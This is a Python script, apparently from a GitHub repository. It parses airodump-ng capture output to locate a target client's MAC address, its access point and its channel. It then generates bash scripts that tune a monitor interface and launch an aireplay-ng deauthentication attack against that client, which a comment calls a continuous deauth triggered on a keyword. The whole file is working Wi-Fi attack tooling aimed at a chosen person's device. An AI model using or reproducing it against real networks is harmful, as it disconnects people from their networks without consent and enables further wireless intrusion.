-
Notifications
You must be signed in to change notification settings - Fork 1
/
parse.py
61 lines (55 loc) · 2.54 KB
/
parse.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import argparse
if __name__ == '__main__':
print "ENTERING PARSING PROGRAM.."
parser = argparse.ArgumentParser()
parser.add_argument('--mac', dest='mac', required = True, type=str)
parser.add_argument('--src', dest='src', required = True, type=str)
parser.add_argument('--iface', dest='iface', required=True, type=str)
args = parser.parse_args()
# grab the MAC address of the client we're looking for,
# the filename or airodump output, and the interface
MAC_ADDRESS = args.mac
FILENAME = args.src
IFACE = args.iface
channel_dct = {}
client_dct = {}
first_half = True
# iterate through lines in the file building up the information we care about
# channel_dct is mappings of AP BSSID's to the channel's they're on,
# client_dct is mappings of Client MAC's to the AP's they're connected to
print "ITERATING THROUGH OUTFILE...."
for line in open(FILENAME, 'r'):
line = line.split(",")
# account for random newlines
if len(line) < 2:
continue
first_half = False if 'Station MAC' in line or first_half == False else True
# parse the first half of the CSV output
if first_half:
if 'BSSID' in line:
continue
else:
channel_dct[line[0].strip()] = line[3].strip()
# parse the second half of the CSV output
else:
if 'Station MAC' in line:
continue
else:
client_dct[line[0].strip()] = line[5].strip()
# write two files -- set_channel.sh, to be executed right after this script finishes
# which uses airodump to set our interface to the same channel as the AP the client
# is connect to (TODO: can I just use iwconfig?)
# second file -- deauth.sh, to be called once we hear the keyword, will actually
# launch a continuous deauth attack
print "CHECKING MAC ADDRESS"
if MAC_ADDRESS in client_dct:
print "FOUND MAC ADDRESS"
# writes a script bash script that sets our adapter to the right channel
with open('set_channel.sh', 'w') as f:
chan = channel_dct[client_dct[MAC_ADDRESS]]
f.write("#!/bin/bash\n")
f.write('timeout --foreground 2s airodump-ng -c ' + chan + ' mon0\n')
# writes the actual line we need to deauth
with open('deauth.sh', 'w') as f:
f.write("#!/bin/bash\n")
f.write('aireplay-ng -0 100 -a ' + client_dct[MAC_ADDRESS] + ' -c' + MAC_ADDRESS + ' ' + IFACE)